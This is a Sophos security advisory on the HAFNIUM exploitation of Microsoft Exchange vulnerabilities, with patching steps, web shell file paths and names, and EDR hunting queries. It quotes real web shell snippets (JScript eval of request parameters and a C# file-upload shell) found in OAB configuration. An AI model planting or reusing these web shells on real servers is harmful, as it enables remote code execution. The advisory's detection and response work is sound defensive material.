HAFNIUM: Advice about the new nation-state attack

news.sophos.com/en-us/2021/03/05/hafnium-advice-about-the-new-nation-state-attack/

March 5, 2021

Update: Microsoft released new security updates for Exchange Server on April 13th (CVE-2021-28480, 28481, 28482, and 28483). The updates address bugs reported to Microsoft by the NSA and are considered urgent fixes that should be addressed immediately.

On March 2nd, zero-day vulnerabilities affecting Microsoft Exchange were publicly disclosed. These vulnerabilities are being actively exploited in the wild by HAFNIUM, a threat actor believed to be a nation state.

What is HAFNIUM?

According to a CISA alert:

> Microsoft has released out-of-band security updates to address vulnerabilities affecting Microsoft Exchange Server 2013, 2016, and 2019. A remote attacker can exploit three remote code execution vulnerabilities—CVE-2021-26857, CVE-2021-26858, and CVE-2021-27065—to take control of an affected system and can exploit one vulnerability—CVE-2021-26855—to obtain access to sensitive information. **These vulnerabilities are being actively exploited in the wild**.

CISA also issued an emergency directive urging organizations to **patch on-premises Exchange Servers and search their networks for indicators of attack.**

For an overview of HAFNIUM, and advice on how you should respond, watch this short video from Mat Gangwer, the head of the Sophos Managed Threat Response (MTR) team.

For a deep dive into HAFNIUM and the steps you can take to address the threat, watch our recent webinar session:

For details of the Sophos protections against the exploitation of these vulnerabilities, click here.

UPDATE: Other threat actors are now taking advantage of the persistence established by Hafnium to conduct a range of attacks. One actor is installing a new ransomware variant called DearCry.

It is important to note that patching only protects your organization from being exploited by the vulnerabilities going forward. It does NOT ensure that an adversary has not already exploited the vulnerabilities.

What should you do?

1. Patch or disable

Patch all on-premise Microsoft Exchanged servers in your environment with the relevant security update. Details can be found on Microsoft's Exchange Team blog.

If you are unable to patch, implement an IIS Re-Write Rule and disable Unified Messaging (UM), Exchange Control Panel (ECP) VDir, and Offline Address Book (OAB) VDir Services. Details can be found in the Microsoft's Security Response Center blog.

Sophos recommends you backup Exchange IIS/Server logs before patching and updating.

2. Determine possible exposure

Download and run the Test-ProxyLogon.ps1 script provided by the Microsoft Customer Support Services team to determine possible exposure. Details on interpreting the results of this script can be found in this Microsoft article, a few paragraphs into the “Have I been compromised?” section).

It is important to note that even with the patches installed, this will not address the presence of any malicious web shells. It is for this reason we recommend the use of Microsoft’s script to identify affected servers and look for the presence of web shells.

Test-ProxyLogon.ps1 can output multiple .csv files per Exchange server, depending on what it finds. These .csv files can be viewed in a text editor or spreadsheet application.

The script will look for evidence of each vulnerability being abused, creating a .csv per CVE. It will also look for suspicious files (which may be web shells) which should be reviewed, and calculate how many days back in the logs it can identify potential abuse of the vulnerabilities.

Our most common observations are related to output for CVE-2021-26855.

Hosts that may have been exploited by CVE-2021-26855 will be listed in the file [HOSTNAME]-Cve-2021-26855.csv

The “ClientIpAddress” column will list the source IP addresses of potential attackers.

The “AnchorMailbox” column will list a path to various applications running on Exchange that may have been targeted. To reveal what actions may have been taken by the attacker, you will need to extract the relevant application from AnchorMailbox.
e.g. for “ServerInfo~a]@[REDACTED]:444/autodiscover/autodiscover.xml?#” the relevant application is /autodiscover/

To determine what actions were taken by the adversary, you will need to look at the logs in %PROGRAMFILES%\Microsoft\Exchange Server\V15\Logging\{application}
e.g. %PROGRAMFILES%\Microsoft\Exchange Server\V15\Logging\autodiscover\

The “DateTime” column in [HOSTNAME]-Cve-2021-26855.csv will provide you with a timestamp when the potential exploitation took place, to use when referencing the log files.

3. Look for web shells or other suspicious .aspx files.

Web shells have been observed in the following directories:

- <volume>\inetpub\wwwroot\aspnet_client\
  e.g. C:\inetpub\wwwroot\aspnet_client\
- <volume>\inetpub\wwwroot\aspnet_client\system_web\
- <exchange install path>\FrontEnd\HttpProxy\owa\auth\
  e.g. C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\
- <exchange install path>\FrontEnd\HttpProxy\owa\auth\Current\
- <exchange install path>\FrontEnd\HttpProxy\owa\auth\<folder with version number>\

Common names for these web shells include:

- (8 random letters and numbers)
  Regex: [0-9a-zA-Z]{8}.aspx
- aspnet_client.aspx
- aspnet_iisstart.aspx
- aspnet_www.aspx
- aspnettest.aspx
- discover.aspx
- document.aspx
- error.aspx
- errorcheck.aspx
- errorEE.aspx
- errorEEE.aspx
- errorEW.aspx
- errorFF.aspx
- healthcheck.aspx
- help.aspx
- HttpProxy.aspx
- Logout.aspx
- MultiUp.aspx
- one.aspx
- OutlookEN.aspx
- OutlookJP.aspx
- OutlookRU.aspx
- RedirSuiteServerProxy.aspx
- shell.aspx
- shellex.aspx
- supp0rt.aspx
- system_web.aspx
- t.aspx
- TimeoutLogout.aspx
- web.aspx

- web.aspx
- xx.aspx

4. Query with Sophos EDR

If you are using Sophos EDR, you can leverage the following example queries to identify potential web shells to investigate, check patch level of your servers, and look for suspicious commands from child processes of w3wp.exe (a Microsoft's IIS web server worker process, used by Exchange).

```
/* Query for known web shell names */
SELECT
datetime(btime,'unixepoch') AS created_time,
filename,
directory,
size AS fileSize,
datetime(atime, 'unixepoch') AS access_time,
datetime(mtime, 'unixepoch') AS modified_time
FROM file
WHERE
(path LIKE 'C:\inetpub\wwwroot\aspnet_client\%' OR path LIKE
'C:\inetpub\wwwroot\aspnet_client\system_web\%' OR path LIKE 'C:\Program
Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\%')
AND filename IN
('web.aspx','help.aspx','document.aspx','errorEE.aspx','errorEEE.aspx','errorEW.aspx',

/* Query for web shells with randomized 8 character names */
SELECT
datetime(btime,'unixepoch') AS created_time,
regex_match(filename, '[0-9a-zA-Z]{8}.aspx', 0) AS filename,
directory,
size AS fileSize,
datetime(atime, 'unixepoch') AS access_time,
datetime(mtime, 'unixepoch') AS modified_time
FROM file
WHERE (path LIKE 'C:\inetpub\wwwroot\aspnet_client\%' OR path LIKE
'C:\inetpub\wwwroot\aspnet_client\system_web\%' OR path LIKE 'C:\Program
Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\%');
```

When reviewing the potential web shells identified by the queries, the web shell will typically appear inside an Exchange Offline Address Book (OAB) configuration file, in the ExternalUrl field. E.g.

```
ExternalUrl : http://f/<script language="JScript" runat="server">function Page_Load()
{eval(Request["key-here"],"unsafe");}</script>

ExternalUrl: http://g/<script Language="c#" runat="server">void Page_Load(object
sender, EventArgs e){if (Request.Files.Count!=0) {
Request.Files[0].SaveAs(Server.MapPath("error.aspx"));}}</script>
```

```
Name                            : OAB (Default Web Site)
PollInterval                    : 480
OfflineAddressBooks             :
RequireSSL                      : True
BasicAuthentication             : False
WindowsAuthentication           : True
OAuthAuthentication             : False
MetabasePath                    : IIS://[REDACTED]/W3SVC/1/ROOT/OAB
Path                            : C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\OAB
ExtendedProtectionTokenChecking : None
ExtendedProtectionFlags         :
ExtendedProtectionSPNList       :
AdminDisplayVersion             : Version 15.0 (Build 1497.2)
Server                          : [REDACTED]
InternalUrl                     : https://[REDACTED]/OAB
InternalAuthenticationMethods   : WindowsIntegrated
ExternalUrl                     : http://f/<script language="JScript" runat="server">function Page_Load()
    {eval(System.Text.Encoding.UTF8.GetString(System.Convert.FromBase64String(Request.Item["80bc312c517fe8839907804
    dcb8f4788"])),"unsafe");}</script>
ExternalAuthenticationMethods   : WindowsIntegrated
AdminDisplayName                :
ExchangeVersion                 : 0.10 (14.0.100.0)
DistinguishedName               : CN=OAB (Default Web Site),CN=HTTP,CN=Protocols,CN=
    [REDACTED],CN=Servers,CN=Exchange Administrative Group ([REDACTED]),CN=Administrative Groups,CN=
    [REDACTED],CN=Microsoft Exchange,CN=Services,CN=Configuration,DC=[REDACTED],DC=[REDACTED]
Identity                        : [REDACTED]\OAB (Default Web Site)
Guid                            : [REDACTED]
ObjectCategory                  : [REDACTED]/Configuration/Schema/ms-Exch-OAB-Virtual-Directory
ObjectClass                     : top
                                  msExchVirtualDirectory
                                  msExchOABVirtualDirectory
WhenChanged                     : 2/28/2021 hh:mm:ss AM
WhenCreated                     : 2/27/2021 hh:mm:ss AM
WhenChangedUTC                  : 2/28/2021 hh:mm:ss PM
WhenCreatedUTC                  : 2/28/2021 hh:mm:ss AM
OrganizationId                  :
Id                              : [REDACTED]\OAB (Default Web Site)
OriginatingServer               : [REDACTED]
IsValid                         : True
```

5. Establish impact

Review process activity and command executions from the time the web shell was created, onwards. Investigate w3wp.exe (the IIS web server worker process) activity and any instances of csc.exe (C# compiler) running as a child process. This should gleam trailheads to establish impact. The following Sophos EDR Live Discover query will aid you indentifying activity of this nature.

```
/* MULTI - Query for patch level, web shells, and suspicious commands */
SELECT '----------------------' Test, '----------------------' Result, '-------------
---------' Evidence UNION ALL
-- Check the version of Exchange that is running, to determine if it's patched
SELECT DISTINCT
   'Check Exchange Version to confirm Patch' Test,
   CASE product_version
      WHEN '15.0.1497.12' THEN 'Patched'
      WHEN '15.1.2106.13' THEN 'Patched'
      WHEN '15.1.2176.9' THEN 'Patched'
      WHEN '15.1.2242.4' THEN 'Patched'
      WHEN '15.2.721.13' THEN 'Patched'
      WHEN '15.2.792.10' THEN 'Patched'
      WHEN '15.2.858.5' THEN 'Patched'
      ELSE 'NOT PATCHED'
   END Result,
   'Product_Version: ' || Product_version Evidence
FROM file
WHERE path = ( (SELECT data FROM registry
                WHERE key =
'HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\ExchangeServer\v15\Setup' AND path =
'HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\ExchangeServer\v15\Setup\MsiInstallPath'
              )||'bin\Microsoft.Exchange.RpcClientAccess.Service.exe')UNION ALL
-- Identify common webshells which which may exist. Files with creation dates after
Feb 28, 2021 should be reviewed.
SELECT DISTINCT
   'List of Suspect Web Shell files (if any).' TEST,
   CAST(GROUP_CONCAT(filename || CHAR(10)) AS TEXT) Result,
   CAST(GROUP_CONCAT('PATH: ' || path || CHAR(10) || 'CREATED ON: ' ||
DATETIME(btime,'unixepoch') || CHAR(10)) AS TEXT) Evidence
FROM file
WHERE (path LIKE 'C:\inetpub\wwwroot\aspnet_client\%' OR path LIKE
'C:\inetpub\wwwroot\aspnet_client\system_web\%' OR
       path LIKE 'C:\Program Files\Microsoft\Exchange
Server\V15\FrontEnd\HttpProxy\owa\auth\%') AND
      (filename IN
('web.aspx','help.aspx','document.aspx','errorEE.aspx','errorEEE.aspx','errorEW.aspx',


'healthcheck.aspx','aspnet_www.aspx','aspnet_client.aspx','xx.aspx','shell.aspx','aspn


'errorcheck.aspx','t.aspx','discover.aspx','aspnettest.aspx','error.aspx','RedirSuiteS


'supp0rt.aspx','HttpProxy.aspx','system_web.aspx','OutlookEN.aspx','TimeoutLogout.aspx

                    'OutlookJP.aspx','MultiUp.aspx','OutlookRU.aspx') OR
       (LENGTH(filename) = 13) )UNION ALL
-- Identify the common pattern for commands being executed from a webshell. This is
looking over the last (15 days), but can be adjusted.
SELECT DISTINCT
   'Suspicious Commands Detected as Child Process' TEST,
   'Found a Suspicious Command Which Could Have Spawned from a Web Shell' Result,
   DateTime(time, 'unixepoch') || ',' ||sophosPID || ',' || processname || ',' ||
```

```
cmdline  Evidence
FROM sophos_process_journal spj WHERE LOWER(spj.processname) IN
('cmd.exe','powershell.exe', 'csc.exe') AND time > strftime('%s','now','-15 days')
AND
   (SELECT LOWER(processname) FROM sophos_process_journal spj2 WHERE spj2.sophosPID =
spj.parentSophosPID) IN ('w3wp.exe', 'umworkerprocess.exe')
```

How Sophos Managed Threat Response (MTR) can help

Threat such as HAFNIUM are a great example of the peace of mind you get knowing your organization is backed by an elite team of threat hunters and response experts.

When the HAFNIUM news broke, the Sophos MTR team immediately began to hunt and investigate in customer environments to determine if there was any activity related to the attack. Additionally, they also looked to uncover any new artifacts or IoCs related to the attack that could provide further protection for all Sophos customers.

The 24/7 nature of Sophos MTR meant that not a single second was wasted before the team got to work, ensuring our customers were protected.

SophosLabs has also published detections related to the known activity and IOCs related to the Exchange vulnerability. This is in addition to previous protections already in place to detect post-exploit activity.

Concerned about HAFNIUM? Contact Sophos MTR today to ensure that any potential adversarial activity in your environment is identified and neutralized.